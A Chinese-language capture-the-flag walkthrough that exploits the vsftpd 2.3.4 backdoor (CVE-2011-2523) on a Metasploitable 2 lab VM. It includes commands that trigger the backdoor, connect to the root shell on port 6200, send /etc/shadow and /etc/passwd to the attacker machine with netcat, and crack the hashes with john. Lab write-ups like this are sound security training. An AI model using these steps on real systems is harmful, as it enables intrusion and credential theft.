场景：夺旗赛 - CVE-2011-2523

从存在漏洞的 Metasploitable 2 服务器中获取解密后的 /etc/shadow 和 /etc/passwd 文件。

环境设置

步骤 1：下载并解压虚拟机

对于本次 CTF，我们使用 VMware Workstation Pro 运行两台虚拟机。我们以 Kali Linux 作为攻击机，以 Metasploitable 2 作为存在漏洞的机器。

• 下载并安装 VMware Workstation： https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html
• 下载并解压 Kali Linux 虚拟机： https://www.kali.org/get-kali/
• 下载并解压 Metasploitable 2 虚拟机： https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

步骤 2：在 VMware 中从解压的文件打开 Kali Linux 和 Metasploitable 2 虚拟机

• 在 VMware Workstation 中选择 Open a Virtual Machine 选项，然后选择解压后的 Kali Linux 文件
• 右键单击侧边栏，选择 open 选项，然后选择解压后的 Metasploitable 2 文件
• 在两台虚拟机上点击 Play virtual machine 按钮
• 当提示选择 I moved It 或 I copied It 选项时，选择 I copied It 选项

步骤 3：登录

• 使用 kali 作为用户名和密码登录 Kali Linux
• 使用 msfadmin 作为用户名和密码登录 Metasploitable

步骤 4：记录 Metasploitable 虚拟机的 IP 地址

• 运行 ip addr show 并记录 inet 部分的 IP 地址

解决方案

麻省理工学院研究与工程公司（MITRE）将 CVE-2011-2523 详细描述为一种常见漏洞和暴露，其中 vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp。

步骤 1：使用 FTP 服务搜索 Metasploitable 机器上的开放端口

• nmap <vulnerable-machine-ip-address>
• nmap 扫描应显示端口 21 上使用 ftp 服务的开放端口

步骤 2：尝试使用 NetCat 连接开放端口

• nc <vulnerable-machine-ip-address> 21
• 用户名可以是任何以 :) 结尾的字符串，输入 user <string>:)
• 当提示输入密码时，输入任意字符串 pass <string>
• 然后使用 ^C [CTRL + C] 退出连接，此时已通过 6200 端口在 Metasploitable 上打开了一个 root shell。

步骤 3：连接易受攻击机器 6200 端口上的 shell

• nc -v <vulnerable-machine-ip-address> 6200
• 使用 ip addr show 显示当前连接的 IP 地址
• 使用 whoami 显示已授予 root 访问权限

步骤 4：将 /etc/shadow 和 /etc/passwd 文件复制到另一个文件

• cp /etc/shadow shadow.txt
• cp /etc/passwd passwd.txt

步骤 5：使用 NetCat 将复制出的文件发送到 Kali Linux 机器

• 在攻击机上，使用命令 ip addr show 查找 inet 下的 IP 地址
• 在攻击机上使用 nc -l -p 1234 > shadow.txt 监听文件
• 在 Metasploitable 的 root shell 中执行 nc -w 3 <destination-ip> 1234 < shadow.txt
• 对 passwd 文件重复上述操作

步骤 5：将 shadow 文件格式化为 John 工具格式

• unshadow passwd.txt shadow.txt > unshadowed-input
• 使用 cat unshadowed-input 查看文件，其中应保存有用户名和密码

步骤 6：使用 John 命令和字典解密 shadow 文件

• 使用字典 rockyou.txt 通过 john 破解哈希
• 在 Kali Linux 上使用 sudo gzip -d /usr/share/wordlists/rockyou.txt.gz 解压字典文件
• 当提示输入密码时，使用 Kali Linux 的默认管理员密码 kali
• 使用 john unshadowed-input –wordlist=/usr/share/wordlists/rockyou.txt 还原（破解）密码哈希
• 使用 john –show unshadowed-input 查看已破解的密码